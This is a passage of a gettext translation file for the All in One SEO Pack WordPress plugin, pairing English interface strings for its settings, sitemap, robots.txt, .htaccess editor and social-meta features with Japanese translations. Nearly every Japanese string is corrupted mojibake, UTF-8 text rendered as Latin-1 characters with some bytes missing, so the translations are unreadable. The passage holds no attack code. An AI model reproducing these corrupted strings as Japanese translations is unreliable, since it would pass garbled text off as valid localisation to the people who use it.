"設定ã®ã‚¨ã‚¯ã‚¹ãƒãƒ¼ãƒˆ" #: modules/aioseop_importer_exporter.php:23 #: modules/aioseop_importer_exporter.php:87 msgid "Import" msgstr "インãƒãƒ¼ãƒˆ" #: inc/aioseop_functions.php:855 msgid "Facebook" msgstr "Facebook" #: inc/aioseop_functions.php:852 msgid "Twitter" msgstr "Twitter" #: inc/aioseop_functions.php:599 msgid "Please refer to the document for each tool for help in using these to debug your social meta." msgstr "ソーシャルメタをデãƒãƒƒã‚°ã™ã‚‹ãŸã‚ã«ã“れらを使用ã™ã‚‹éš›ã®åŠ©ã‘ã®ãŸã‚ã®å„ツールã®ãƒ‰ã‚­ãƒ¥ãƒ¡ãƒ³ãƒˆã‚’å‚ç…§ã—ã¦ãã ã•ã„。" #: inc/aioseop_functions.php:589 msgid "You should avoid duplicate social meta tags. You can use these free tools from Facebook and Twitter to validate your social meta and check for errors:" msgstr "ソーシャルメタタグãŒé‡è¤‡ã—ãªã„よã†ã«ã™ã‚‹å¿…è¦ãŒã‚りã¾ã™ã€‚ Facebookã‚„Twitterã®ã“れらã®ç„¡æ–™ãƒ„ールを使ã£ã¦ã‚½ãƒ¼ã‚·ãƒ£ãƒ«ãƒ¡ã‚¿ã‚’検証ã—ã€ã‚¨ãƒ©ãƒ¼ã‚’ãƒã‚§ãƒƒã‚¯ã™ã‚‹ã“ã¨ãŒã§ãã¾ã™ : " #: inc/aioseop_functions.php:588 msgid "You may prefer to use the social meta tags that are being output by the other plugin(s) or theme. If so, then you should deactivate this Social Meta feature in the Feature Manager." msgstr "ä»–ã®ãƒ—ラグインやテーマã«ã‚ˆã£ã¦å‡ºåŠ›ã•れã¦ã„るソーシャルメタタグを使用ã™ã‚‹ã“ã¨ã‚’ãŠå‹§ã‚ã—ã¾ã™ã€‚ ã‚‚ã—ãã†ãªã‚‰ã€æ©Ÿèƒ½ç®¡ç†ã§ã“ã®ã‚½ãƒ¼ã‚·ãƒ£ãƒ«ãƒ¡ã‚¿æ©Ÿèƒ½ã‚’åœæ­¢ã™ã‚‹ã¹ãã§ã™ã€‚" #. translators: %s is a placeholder, which means that it should not be #. translated. It will be replaced with the name of the plugin, All in One SEO #. Pack. #: inc/aioseop_functions.php:587 msgid "%s has detected that a plugin(s) or theme is also outputting social meta tags on your site. You can view this social meta in the source code of your site (check your browser help for instructions on how to view source code)." msgstr "%s ã«å«ã¾ã‚Œã‚‹ãƒ—ラグイン(複数å¯ï¼‰ã¾ãŸã¯ãƒ†ãƒ¼ãƒžã¯ã¾ãŸã€ã‚ãªãŸã®ã‚µã‚¤ãƒˆã«ã‚½ãƒ¼ã‚·ãƒ£ãƒ«ãƒ¡ã‚¿ã‚¿ã‚°ã‚’出力ã—ã¦ã„ã‚‹ã“ã¨ã‚’検出ã—ã¾ã—ãŸã€‚サイトã®ã‚½ãƒ¼ã‚¹ã‚³ãƒ¼ãƒ‰å†…ã§ã“ã®ã‚½ãƒ¼ã‚·ãƒ£ãƒ«ãƒ¡ã‚¿ï¼ˆã‚½ãƒ¼ã‚¹ã‚³ãƒ¼ãƒ‰ã‚’表示ã™ã‚‹æ–¹æ³•ã«ã¤ã„ã¦ã¯ã€ãƒ–ラウザーã®ãƒ˜ãƒ«ãƒ—を確èªã—ã¦ãã ã•ã„)表示ã™ã‚‹ã“ã¨ãŒã§ãã¾ã™ã€‚" #: inc/aioseop_functions.php:585 msgid "What Does This Mean?" msgstr "ã“れã¯ã©ã†ã„ã†æ„味ã§ã™ã‹ ?" #: inc/aioseop_functions.php:582 msgid "No duplicate meta tags found." msgstr "é‡è¤‡ã® meta ã‚¿ã‚°ãŒè¦‹ã¤ã‹ã‚Šã¾ã›ã‚“ã§ã—ãŸã€‚" #: inc/aioseop_functions.php:573 msgid "Duplicate %s Meta" msgstr "%s メタを複製" #: inc/aioseop_functions.php:515 msgid "Row %s not found; no rows were deleted." msgstr "行 %sãŒè¦‹ã¤ã‹ã‚Šã¾ã›ã‚“ ; 行ã¯å‰Šé™¤ã•れã¾ã›ã‚“ã§ã—ãŸã€‚" #: inc/aioseop_functions.php:392 msgid "Unauthorized access; try reloading the page." msgstr "䏿­£ã‚¢ã‚¯ã‚»ã‚¹ ; ページをå†èª­ã¿è¾¼ã¿ã—ã¦ã¿ã¦ãã ã•ã„。" #: modules/aioseop_performance.php:188 modules/aioseop_performance.php:193 #: modules/aioseop_performance.php:198 modules/aioseop_performance.php:207 #: inc/aioseop_functions.php:363 inc/aioseop_functions.php:744 msgid "No" msgstr "ã„ã„ãˆ" #: inc/aioseop_functions.php:256 msgid "Insert time" msgstr "時間を挿入" #: inc/aioseop_functions.php:255 msgid "Revisions" msgstr "リビジョン" #: inc/aioseop_functions.php:254 msgid "Slug may not be empty!" msgstr "スラッグを空ã«ã—ãªã„ã§ãã ã•ã„。" #: inc/aioseop_functions.php:253 msgid "Please wait..." msgstr "ãŠå¾…ã¡ãã ã•ã„…" #: inc/aioseop_functions.php:251 msgid "Cancel" msgstr "キャンセル" #: inc/aioseop_functions.php:250 msgid "Save" msgstr "ä¿å­˜" #. translators: %s is replaced with a content type such as Post, Page, etc. #: admin/class-aioseop-helper.php:207 admin/class-aioseop-helper.php:210 #: admin/class-aioseop-helper.php:212 admin/class-aioseop-helper.php:214 #: admin/class-aioseop-helper.php:216 admin/class-aioseop-helper.php:218 #: admin/class-aioseop-helper.php:224 admin/class-aioseop-helper.php:226 #: admin/class-aioseop-helper.php:228 admin/class-aioseop-helper.php:323 #: inc/aioseop_functions.php:249 inc/commonstrings.php:75 msgid "Post" msgstr "投稿" #: inc/aioseop_functions.php:248 inc/aioseop_functions.php:370 #: inc/aioseop_functions.php:751 msgid "Edit" msgstr "編集" #: inc/aioseop_functions.php:193 inc/commonstrings.php:83 msgid "SEO Keywords" msgstr "SEO キーワード" #: inc/aioseop_functions.php:191 inc/commonstrings.php:82 msgid "SEO Description" msgstr "SEO ディスクリプション" #: inc/aioseop_functions.php:190 inc/commonstrings.php:81 msgid "SEO Title" msgstr "SEO タイトル" #: modules/aioseop_file_editor.php:78 msgid "Update .htaccess" msgstr ".htaccess ã‚’æ›´æ–°" #: modules/aioseop_file_editor.php:41 msgid ".htaccess" msgstr ".htaccess" #: modules/aioseop_file_editor.php:30 modules/aioseop_file_editor.php:46 msgid "Edit .htaccess" msgstr ".htaccess を編集" #: admin/class-aioseop-helper.php:942 msgid ".htaccess editor" msgstr ".htaccess エディター" #. translators: this button deactivates all active modules of the plugin. #: modules/aioseop_feature_manager.php:170 msgid "Reset Features" msgstr "æ©Ÿèƒ½ã‚’åˆæœŸåŒ–" #: modules/aioseop_feature_manager.php:167 msgid "Update Features" msgstr "æ©Ÿèƒ½ã®æ›´æ–°" #. translators: the Video Sitemap module allows users to generate a sitemap #. with video content in .xml format for their website and submit it to search #. engines such as Google, Bing and Yahoo. #: modules/aioseop_feature_manager.php:87 #: modules/aioseop_feature_manager.php:94 inc/commonstrings.php:115 msgid "Video Sitemap" msgstr "動画サイトマップ" #. translators: this refers to a feature that will be launched in the near #. future. #: modules/aioseop_feature_manager.php:79 msgid "Coming Soon..." msgstr "近日公開予定" #. translators: the Importer & Exporter module allows users to import/export #. their All in One SEO Pack settings for backup purposes or when migrating #. their site. #: modules/aioseop_importer_exporter.php:16 #: modules/aioseop_feature_manager.php:56 msgid "Importer & Exporter" msgstr "インãƒãƒ¼ã‚¿ãƒ¼ & エクスãƒãƒ¼ã‚¿ãƒ¼" #: modules/aioseop_feature_manager.php:70 msgid "Optimize performance related to SEO and check your system status." msgstr "システムã®çŠ¶æ…‹ã®ç¢ºèªã¨ SEO ã«é–¢é€£ã™ã‚‹ãƒ‘フォーマンスを最é©åŒ–ã—ã¾ã™ã€‚" #. translators: the Performance module allows users to set certain performance #. related settings and check the status of their WordPress installation. #: modules/aioseop_performance.php:15 modules/aioseop_feature_manager.php:69 msgid "Performance" msgstr "パフォーマンス" #. translators: 'bots' refers to user agents/web robots that misbehave. #: modules/aioseop_feature_manager.php:64 msgid "Stop badly behaving bots from slowing down your website." msgstr "ã²ã©ã„振る舞ã„ã‚’ã™ã‚‹ãƒœãƒƒãƒˆã«ã‚ˆã£ã¦ã‚µã‚¤ãƒˆã®è¡¨ç¤ºé€Ÿåº¦ãŒè½ã¡ã‚‹ã“ã¨ã‚’防止ã—ã¾ã™ã€‚" #. translators: the File Editor module allows users to edit the robots.txt file #. or .htaccess file on their site. #: modules/aioseop_file_editor.php:19 modules/aioseop_feature_manager.php:50 msgid "File Editor" msgstr "ファイルエディター" #: modules/aioseop_feature_manager.php:46 msgid "Generate and validate your robots.txt file to guide search engines through your site." msgstr "robots.txt ファイルを生æˆã—ã¦æ¤œè¨¼ã—ã€æ¤œç´¢ã‚¨ãƒ³ã‚¸ãƒ³ã«ã‚µã‚¤ãƒˆã‚’説明ã—ã¾ã™ã€‚" #. translators: the Robots.txt module allows users to provide instructions to #. web robots, e.g. search engine crawlers. #: modules/aioseop_robots.php:19 modules/aioseop_robots.php:73 #: modules/aioseop_feature_manager.php:45 msgid "Robots.txt" msgstr "Robots.txt" #. translators: the Social Meta module allows users to add Open Graph (OG:) #. meta tags to their site's post/pages to control the appearance of them when #. shared on social media networks like Facebook and Twitter. #: modules/aioseop_opengraph.php:22 modules/aioseop_feature_manager.php:38 msgid "Social Meta" msgstr "ソーシャルメディア" #: modules/aioseop_feature_manager.php:33 msgid "Create and manage your XML Sitemaps using this feature and submit your XML Sitemap to Google, Bing/Yahoo and Ask.com." msgstr "XML サイトマップを作æˆãƒ»ç®¡ç†ã—ã€Google, Bing/Yahoo, Ask.com ã« XML サイトマップをé€ä¿¡ã—ã¾ã™ã€‚" #. translators: the XML Sitemaps module allows users to generate a sitemap in #. .xml format for their website and submit it to search engines such as #. Google, Bing and Yahoo. #: modules/aioseop_feature_manager.php:32 msgid "XML Sitemaps" msgstr "XML サイトマップ" #. translators: the Feature Manager allows users to (de)activate other modules #. of the plugin. #: modules/aioseop_feature_manager.php:24 msgid "Feature Manager" msgstr "機能管ç†" #: aioseop_class.php:4338 msgid "Main Settings" msgstr "メイン設定" #: aioseop_class.php:4692 aioseop_class.php:4712 #: admin/aioseop_module_class.php:2088 admin/aioseop_module_class.php:2457 #: admin/aioseop_module_class.php:2777 msgid "Help" msgstr "ヘルプ" #: aioseop_class.php:4654 aioseop_class.php:4661 msgid "Version" msgstr "ãƒãƒ¼ã‚¸ãƒ§ãƒ³" #: aioseop_class.php:4661 msgid "Support" msgstr "サãƒãƒ¼ãƒˆ" #: aioseop_class.php:4640 msgid "Join Our Mailing List" msgstr "メーリングリストã«ç™»éŒ²" #: aioseop_class.php:4551 msgid "All in One SEO" msgstr "All in One SEO" #: aioseop_class.php:4396 msgid "Upgrade To Pro" msgstr "プロ版ã¸ã‚¢ãƒƒãƒ—グレード" #: aioseop_class.php:4435 aioseop_class.php:4449 msgid "Edit SEO" msgstr "SEO を編集" #: aioseop_class.php:4387 msgid "SEO" msgstr "SEO" #: admin/display/general-metaboxes.php:170 msgid "Getting started? Read the Beginners Guide" msgstr "åˆã‚ã¦ã”利用ã§ã™ã‹ ? åˆå¿ƒè€…å‘ã‘ガイドをãŠèª­ã¿ãã ã•ã„" #: admin/display/general-metaboxes.php:166 msgid "Watch video tutorials" msgstr "ビデオãƒãƒ¥ãƒ¼ãƒˆãƒªã‚¢ãƒ«ã‚’見る" #: admin/display/general-metaboxes.php:162 msgid "View the Changelog" msgstr "更新履歴を表示" #: admin/display/general-metaboxes.php:153 msgid "All in One SEO Pro Plugin Changelog" msgstr "All in One SEO Pro プラグイン更新履歴" #: admin/display/general-metaboxes.php:150 msgid "Access our Premium Support Forums" msgstr "プレミアムサãƒãƒ¼ãƒˆãƒ•ォーラムã«ã‚¢ã‚¯ã‚»ã‚¹" #: admin/display/general-metaboxes.php:149 msgid "All in One SEO Pro Plugin Support Forum" msgstr "All in One SEO Pro プラグインサãƒãƒ¼ãƒˆãƒ•ォーラム" #: admin/display/general-metaboxes.php:124 msgid "Sign up today and receive a free copy of the e-book 5 SEO Tips for WordPress ($39 value)." msgstr "今ã™ãサインアップã—ã¦ã€ WordPress ã® SEO ã«ãŠã‘ã‚‹5ã¤ã®ãƒ’ントã®é›»å­æ›¸ç± ($39.00相当) を手ã«å…¥ã‚Œã¾ã—ょã†ã€‚" #: admin/display/general-metaboxes.php:122 msgid "Join our mailing list for tips, tricks, and WordPress secrets." msgstr "WordPress ã®ç§˜å¯†ã‚„コツã€ãƒ’ントを紹介ã™ã‚‹ãƒ¡ãƒ¼ãƒªãƒ³ã‚°ãƒªã‚¹ãƒˆ (英語) ã«ç™»éŒ²ã—ã¾ã—ょã†ã€‚" #: aioseop_class.php:569 msgid "UPGRADE TO PRO VERSION" msgstr "PRO VERSION ã¸æ›´æ–°" #: admin/display/general-metaboxes.php:45 msgid "Pro Version" msgstr "プロ版" #: admin/display/general-metaboxes.php:38 msgid "Reset Dismissed Notices" msgstr "éžè¡¨ç¤ºã«ã—ãŸé€šçŸ¥ã‚’åˆæœŸåŒ–" #: aioseop_class.php:3185 msgid "nofollow" msgstr "フォローã—ãªã„" #: aioseop_class.php:3184 msgid "follow" msgstr "フォロー" #: aioseop_class.php:3183 msgid "Default - nofollow" msgstr "デフォルト - nofollow" #: aioseop_class.php:3177 msgid "noindex" msgstr "noindex" #: aioseop_class.php:3176 msgid "index" msgstr "index" #: aioseop_class.php:3175 msgid "Default - noindex" msgstr "デフォルト - noindex" #: aioseop_class.php:3091 msgid "Reset ALL Settings to Defaults" msgstr "ã™ã¹ã¦ã®è¨­å®šã‚’デフォルトã«ãƒªã‚»ãƒƒãƒˆ" #: aioseop_class.php:3086 msgid "Reset General Settings to Defaults" msgstr "ä¸€èˆ¬è¨­å®šã‚’åˆæœŸåŒ–" #: aioseop_class.php:2949 msgid "Title Format:" msgstr "タイトル形å¼:" #: aioseop_class.php:708 modules/aioseop_opengraph.php:699 msgid "Advanced Settings" msgstr "詳細設定" #: aioseop_class.php:691 msgid "Noindex Settings" msgstr "Noindex 設定" #: aioseop_class.php:672 msgid "Google Settings" msgstr "Google 設定" #: aioseop_class.php:667 msgid "Webmaster Verification" msgstr "ウェブマスターèªè¨¼" #: aioseop_class.php:662 msgid "Display Settings" msgstr "表示設定" #: aioseop_class.php:638 msgid "Title Settings" msgstr "タイトル設定" #: aioseop_class.php:726 msgid "Keyword Settings" msgstr "キーワード設定" #: aioseop_class.php:633 modules/aioseop_opengraph.php:664 msgid "Home Page Settings" msgstr "ホームページ設定" #: aioseop_class.php:617 msgid "Disable Google Analytics" msgstr "Google Analytics を無効ã«ã™ã‚‹" #: aioseop_class.php:615 msgid "Disable on this page/post" msgstr "ã“ã®ãƒšãƒ¼ã‚¸ã‚„投稿ã§ç„¡åйã«ã™ã‚‹" #: aioseop_class.php:614 msgid "Exclude From Sitemap" msgstr "サイトマップã‹ã‚‰é™¤å¤–ã™ã‚‹" #: aioseop_class.php:602 msgid "Custom Canonical URL" msgstr "カスタム Canonical URL" #: aioseop_class.php:598 msgid "Keywords (comma separated)" msgstr "キーワード (コンマ区切り)" #: aioseop_class.php:590 modules/aioseop_opengraph.php:526 msgid "Description" msgstr "説明" #: aioseop_class.php:584 modules/aioseop_opengraph.php:518 msgid "Title" msgstr "タイトル" #: aioseop_class.php:578 msgid "Preview Snippet" msgstr "スニペットã®ãƒ—レビュー" #: aioseop_class.php:521 msgid "Log important events:" msgstr "é‡è¦ãªã‚¤ãƒ™ãƒ³ãƒˆã‚’記録:" #: aioseop_class.php:515 msgid "Additional Posts Page Headers:" msgstr "追加投稿ページヘッダー:" #: aioseop_class.php:509 msgid "Additional Front Page Headers:" msgstr "フロントページã®ãƒ˜ãƒƒãƒ€ãƒ¼è¿½åŠ ï¼š" #: aioseop_class.php:503 msgid "Additional Page Headers:" msgstr "固定ページã®ãƒ˜ãƒƒãƒ€ãƒ¼ã«è¿½åŠ è¨˜å…¥" #: aioseop_class.php:497 msgid "Additional Post Headers:" msgstr "投稿ã®ãƒ˜ãƒƒãƒ€ãƒ¼ã«è¿½åŠ è¨˜å…¥" #: aioseop_class.php:492 msgid "Exclude Pages:" msgstr "除外ã™ã‚‹ãƒšãƒ¼ã‚¸:" #: aioseop_class.php:484 msgid "Unprotect Post Meta Fields:" msgstr "投稿メタフィールドã®ä¿è­·ã‚’解除 : " #: aioseop_class.php:480 msgid "Use Schema.org Markup" msgstr "Schema.org マークアップを使用" #: aioseop_class.php:476 msgid "Never Shorten Long Descriptions:" msgstr "é•·ã„ディスクリプションを短縮ã—ãªã„:" #: aioseop_class.php:472 msgid "Remove Descriptions For Paginated Pages:" msgstr "ページ区切り付ãページã®èª¬æ˜Žã‚’削除 : " #: aioseop_class.php:467 msgid "Run Shortcodes In Autogenerated Descriptions:" msgstr "自動生æˆã•れãŸèª¬æ˜Žã§ã‚·ãƒ§ãƒ¼ãƒˆã‚³ãƒ¼ãƒ‰ã‚’実行 : " #: aioseop_class.php:458 msgid "Autogenerate Descriptions:" msgstr "ディスクリプションを自動生æˆ:" #: aioseop_class.php:454 msgid "Use nofollow for paginated pages/posts:" msgstr "ページ付ã‘ã•れãŸãƒšãƒ¼ã‚¸/投稿㫠nofollow を使用 :" #: aioseop_class.php:450 msgid "Use noindex for paginated pages/posts:" msgstr "ページ付ã‘ã•れãŸãƒšãƒ¼ã‚¸/投稿㫠noindex を使用 : " #: aioseop_class.php:445 msgid "Use noindex for Taxonomy Archives:" msgstr "タクソノミーアーカイブ㫠noindex を使用:" #: aioseop_class.php:441 msgid "Use noindex for the 404 page:" msgstr "404 ページ㫠noindex を使用:" #: aioseop_class.php:437 msgid "Use noindex for the Search page:" msgstr "検索ページ㫠noindex を使用:" #: aioseop_class.php:433 msgid "Use noindex for Tag Archives:" msgstr "ã‚¿ã‚°ã‚’noindexã«ã™ã‚‹ï¼š" #: aioseop_class.php:429 msgid "Use noindex for Author Archives:" msgstr "投稿者アーカイブ㫠noindex ã‚’é©ç”¨:" #: aioseop_class.php:425 msgid "Use noindex for Date Archives:" msgstr "日付別アーカイブ㫠noindex を使用:" #: aioseop_class.php:421 msgid "Use noindex for Categories:" msgstr "カテゴリー㫠noindex を使用:" #: aioseop_class.php:416 msgid "Dynamically Generate Keywords for Posts Page/Archives:" msgstr "å‹•çš„ã«æŠ•ç¨¿ãƒšãƒ¼ã‚¸/アーカイブã®ãŸã‚ã®ã‚­ãƒ¼ãƒ¯ãƒ¼ãƒ‰ã‚’ç”Ÿæˆ : " #: aioseop_class.php:411 msgid "Use Tags for META keywords:" msgstr "メタキーワードã¨ã—ã¦ã‚¿ã‚°ã‚’使ã†" #: aioseop_class.php:406 msgid "Use Categories for META keywords:" msgstr "メタキーワードã¨ã—ã¦ã‚«ãƒ†ã‚´ãƒªãƒ¼ã‚’使ã†ï¼š" #: aioseop_class.php:394 msgid "Enhanced Ecommerce:" msgstr "æ‹¡å¼µeコマース : " #: aioseop_class.php:382 msgid "Enhanced Link Attribution:" msgstr "拡張リンク属性:" #: aioseop_class.php:370 msgid "Track Outbound Links:" msgstr "外部ã¸ã®ãƒªãƒ³ã‚¯ã‚’追跡 : " #: aioseop_class.php:358 msgid "Exclude Users From Tracking:" msgstr "トラッキングã‹ã‚‰ãƒ¦ãƒ¼ã‚¶ãƒ¼ã‚’除外 : " #: aioseop_class.php:346 msgid "Display Advertiser Tracking:" msgstr "広告主ã®ãƒˆãƒ©ãƒƒã‚­ãƒ³ã‚°ã‚’表示 : " #: aioseop_class.php:334 msgid "Anonymize IP Addresses:" msgstr "IPアドレスを匿å化 :" #: aioseop_class.php:321 msgid "Additional Domains:" msgstr "追加ドメイン:" #: aioseop_class.php:309 msgid "Track Multiple Domains:" msgstr "複数ã®ãƒ‰ãƒ¡ã‚¤ãƒ³ã‚’追跡ã™ã‚‹:" #: aioseop_class.php:297 msgid "Tracking Domain:" msgstr "ドメインã®ãƒˆãƒ©ãƒƒã‚­ãƒ³ã‚° : " #: aioseop_class.php:281 msgid "Advanced Analytics Options:" msgstr "高度ãªåˆ†æžã‚ªãƒ—ション : " #: aioseop_class.php:275 msgid "Google Analytics ID:" msgstr "Google アナリティクス ID:" #: aioseop_class.php:271 msgid "Display Sitelinks Search Box:" msgstr "サイトリンク検索ボックスを表示 : " #: aioseop_class.php:256 msgid "Pinterest Site Verification:" msgstr "Pinterest ã®ã‚µã‚¤ãƒˆæ¤œè¨¼: " #: inc/commonstrings.php:88 msgid "Display Menu At The Top:" msgstr "上部ã«ãƒ¡ãƒ‹ãƒ¥ãƒ¼ã‚’表示:" #: aioseop_class.php:241 msgid "Show Column Labels for Custom Post Types:" msgstr "カスタム投稿タイプã§ã‚«ãƒ©ãƒ ãƒ©ãƒ™ãƒ«ã‚’表示:" #: aioseop_class.php:236 msgid "Default to NOFOLLOW:" msgstr "デフォルト㧠NOFOLLOW ã«ã™ã‚‹:" #: aioseop_class.php:231 msgid "Default to NOINDEX:" msgstr "デフォルト㧠NOINDEX ã«ã™ã‚‹:" #: aioseop_class.php:221 msgid "SEO on only these Content Types:" msgstr "SEO を行ã†ã‚³ãƒ³ãƒ†ãƒ³ãƒ„タイプ:" #: aioseop_class.php:216 msgid "Paged Format:" msgstr "複数ページã®ãƒ•ォーマット" #: aioseop_class.php:211 msgid "404 Title Format:" msgstr "404タイトルã®å½¢å¼:" #: aioseop_class.php:206 msgid "Description Format" msgstr "ディスクリプションã®å½¢å¼" #: aioseop_class.php:201 msgid "Search Title Format:" msgstr "検索時ã®ã‚¿ã‚¤ãƒˆãƒ«ãƒ•ォーマット: " #: aioseop_class.php:196 msgid "Tag Title Format:" msgstr "ã‚¿ã‚°ã®ã‚¿ã‚¤ãƒˆãƒ«ãƒ•ォーマット: " #: aioseop_class.php:191 msgid "Author Archive Title Format:" msgstr "投稿者アーカイブã®ã‚¿ã‚¤ãƒˆãƒ«å½¢å¼:" #: aioseop_class.php:186 msgid "Date Archive Title Format:" msgstr "日付アーカイブã®ã‚¿ã‚¤ãƒˆãƒ«å½¢å¼:" #: aioseop_class.php:181 msgid "Archive Title Format:" msgstr "アーカイブã®ã‚¿ã‚¤ãƒˆãƒ«ãƒ•ォーマット" #: aioseop_class.php:176 msgid "Category Title Format:" msgstr "カテゴリータイトルã®ãƒ•ォーマット: " #: aioseop_class.php:171 msgid "Post Title Format:" msgstr "投稿タイトルã®ãƒ•ォーマット" #: aioseop_class.php:166 msgid "Page Title Format:" msgstr "固定ページタイトルフォーマット:" #: aioseop_class.php:161 msgid "Home Page Title Format:" msgstr "ホームページタイトル形å¼:" #: aioseop_class.php:152 msgid "Use Original Title:" msgstr "å…ƒã®ã‚¿ã‚¤ãƒˆãƒ«ã‚’利用:" #: aioseop_class.php:142 modules/aioseop_performance.php:50 msgid "Force Rewrites:" msgstr "強制リライト:" #: aioseop_class.php:137 msgid "No Pagination for Canonical URLs:" msgstr "Canonical URL ã«ãƒšãƒ¼ã‚¸ãƒãƒ¼ã‚·ãƒ§ãƒ³ã‚’å«ã¾ãªã„: " #: aioseop_class.php:133 msgid "Canonical URLs:" msgstr "Canonical URL:" #: aioseop_class.php:124 msgid "Use Static Front Page Instead" msgstr "固定フロントページを代用" #: aioseop_class.php:117 msgid "Home Keywords (comma separated):" msgstr "ホームキーワード (カンマ区切り):" #: aioseop_class.php:113 aioseop_class.php:129 aioseop_class.php:148 #: aioseop_class.php:157 aioseop_class.php:286 #: modules/aioseop_performance.php:55 msgid "Disabled" msgstr "無効" #: aioseop_class.php:112 aioseop_class.php:128 aioseop_class.php:147 #: aioseop_class.php:156 aioseop_class.php:285 #: modules/aioseop_performance.php:54 msgid "Enabled" msgstr "有効" #: aioseop_class.php:108 msgid "Use Keywords:" msgstr "キーワードを使用:" #: aioseop_class.php:98 msgid "Home Description:" msgstr "ホームディスクリプション:" #: aioseop_class.php:88 msgid "Home Title:" msgstr "ホームタイトル:" #: admin/class-aioseop-helper.php:1021 msgid "Disable Google Analytics on this page." msgstr "ã“ã®ãƒšãƒ¼ã‚¸ã® Google Analytics を無効ã«ã—ã¾ã™ã€‚" #: admin/class-aioseop-helper.php:1020 msgid "Disable SEO on this page." msgstr "ã“ã®ãƒšãƒ¼ã‚¸ã® SEO を無効ã«ã—ã¾ã™ã€‚" #: admin/class-aioseop-helper.php:1019 msgid "Don't display this page in the sitemap." msgstr "サイトマップã«ã“ã®ãƒšãƒ¼ã‚¸ã‚’表示ã—ãªã„。" #: admin/class-aioseop-helper.php:1018 msgid "Check this box to ask search engines not to follow links from this page." msgstr "検索エンジンã«ã“ã®ãƒšãƒ¼ã‚¸ã‚’フォローã—ãªã„よã†ã«ä¾é ¼ã™ã‚‹ã«ã¯ã€ã“ã®ãƒœãƒƒã‚¯ã‚¹ã‚’ãƒã‚§ãƒƒã‚¯ã—ã¦ãã ã•ã„。" #: admin/class-aioseop-helper.php:1017 msgid "Check this box to ask search engines not to index this page." msgstr "検索エンジンã«ã“ã®ãƒšãƒ¼ã‚¸ã‚’インデックスã—ãªã„よã†ã«ä¾é ¼ã™ã‚‹ã«ã¯ã€ã“ã®ãƒœãƒƒã‚¯ã‚¹ã‚’ãƒã‚§ãƒƒã‚¯ã—ã¦ãã ã•ã„。" #: admin/class-aioseop-helper.php:1016 msgid "Override the canonical URLs for this post." msgstr "ã“ã®æŠ•ç¨¿ã® Canonical URL を上書ãã—ã¾ã™ã€‚" #: admin/class-aioseop-helper.php:1015 msgid "A comma separated list of your most important keywords for this page that will be written as META keywords." msgstr "ã“ã®ãƒšãƒ¼ã‚¸ã§é‡è¦ãªã‚­ãƒ¼ãƒ¯ãƒ¼ãƒ‰ã‚’カンマã§åŒºåˆ‡ã£ã¦ãƒªã‚¹ãƒˆã«ã—ãŸã‚‰ã€ META キーワードã¨ã—ã¦è¨­å®šã•れã¾ã™ã€‚" #: admin/class-aioseop-helper.php:1014 msgid "The META description for this page. This will override any autogenerated descriptions." msgstr "ã“ã®ãƒšãƒ¼ã‚¸ã®ãƒ¡ã‚¿ãƒ‡ã‚£ã‚¹ã‚¯ãƒªãƒ—ション。記入ã™ã‚‹ã¨è‡ªå‹•生æˆãƒ‡ã‚£ã‚¹ã‚¯ãƒªãƒ—ションを上書ãã—ã¾ã™ã€‚" #: admin/class-aioseop-helper.php:1013 msgid "A custom title that shows up in the title tag for this page." msgstr "ã“ã®ãƒšãƒ¼ã‚¸ã®ã‚¿ã‚¤ãƒˆãƒ«ã‚¿ã‚°ã«è¡¨ç¤ºã™ã‚‹ã‚«ã‚¹ã‚¿ãƒ ã‚¿ã‚¤ãƒˆãƒ«ã€‚" #: admin/class-aioseop-helper.php:1012 msgid "A preview of what this page might look like in search engine results." msgstr "ã“ã®ãƒšãƒ¼ã‚¸ãŒæ¤œç´¢ã‚¨ãƒ³ã‚¸ãƒ³ã®æ¤œç´¢çµæžœã«ã©ã®ã‚ˆã†ã«è¦‹ãˆã‚‹ã‹ã®ãƒ—レビュー。" #: admin/class-aioseop-helper.php:421 msgid "What you enter here will be copied verbatim to the header of the home page if you have Front page displays your latest posts selected in Settings, Reading.  It will also be copied verbatim to the header on the Posts page if you have one set in Settings, Reading. You can enter whatever additional headers you want here, even references to stylesheets." msgstr "設定ã•れã¦ã„る最新投稿ãªã©ãŒè¡¨ç¤ºã•れるフロントページã®å ´åˆã€ã“ã“ã§å…¥åŠ›ã—ãŸã‚‚ã®ãŒãƒ˜ãƒƒãƒ€ã«ãã®ã¾ã¾ã‚³ãƒ”ーã•れã¾ã™ã€‚åŒã˜è¨­å®šã‚’指定ãŸå ´åˆã¯ã€æŠ•稿ページもヘッダã«ãã®ã¾ã¾ã‚³ãƒ”ーã•れã¾ã™ã€‚スタイルシートã®å‚ç…§ã•ãˆã€ã‚ãªãŸãŒãƒ˜ãƒƒãƒ€ãƒ¼ã«è¿½åŠ ã—ãŸã„ã‚‚ã®ã‚’入力ã§ãã¾ã™ã€‚" #: admin/class-aioseop-helper.php:420 msgid "What you enter here will be copied verbatim to the header of the front page if you have set a static page in Settings, Reading, Front Page Displays. You can enter whatever additional headers you want here, even references to stylesheets. This will fall back to using Additional Page Headers if you have them set and nothing is entered here." msgstr "ã“ã“ã§å…¥åŠ›ã™ã‚‹ã¨ã€é™çš„ページを設定ã—ãŸãƒ•ロントページã®ãƒ˜ãƒƒãƒ€ã«ãã®ã¾ã¾ã‚³ãƒ”ーã•れã¾ã™ã€‚スタイルシートã®å‚ç…§ã•ãˆã€ã‚ãªãŸãŒãƒ˜ãƒƒãƒ€ãƒ¼ã«è¿½åŠ ã—ãŸã„ã‚‚ã®ã‚’入力ã§ãã¾ã™ã€‚ã‚‚ã—ã€ã“ã“ã«å…¥åŠ›ã‚’ã›ãšã€è¨­å®šã™ã‚Œã°ã€Additional Page Headers を使用ã™ã‚‹ã‚ˆã†ã«ãƒ•ォールãƒãƒƒã‚¯ã—ã¾ã™ã€‚" #: admin/class-aioseop-helper.php:419 msgid "What you enter here will be copied verbatim to the header of all Pages. You can enter whatever additional headers you want here, even references to stylesheets." msgstr "ã“ã“ã§å…¥åŠ›ã™ã‚‹ã¨ã€ã™ã¹ã¦ã®å›ºå®šãƒšãƒ¼ã‚¸ã®ãƒ˜ãƒƒãƒ€ã«ãã®ã¾ã¾ã‚³ãƒ”ーã•れã¾ã™ã€‚スタイルシートã®å‚ç…§ã•ãˆã€ã‚ãªãŸãŒãƒ˜ãƒƒãƒ€ãƒ¼ã«è¿½åŠ ã—ãŸã„ã‚‚ã®ã‚’入力ã§ãã¾ã™ã€‚" #: admin/class-aioseop-helper.php:418 msgid "What you enter here will be copied verbatim to the header of all Posts. You can enter whatever additional headers you want here, even references to stylesheets." msgstr 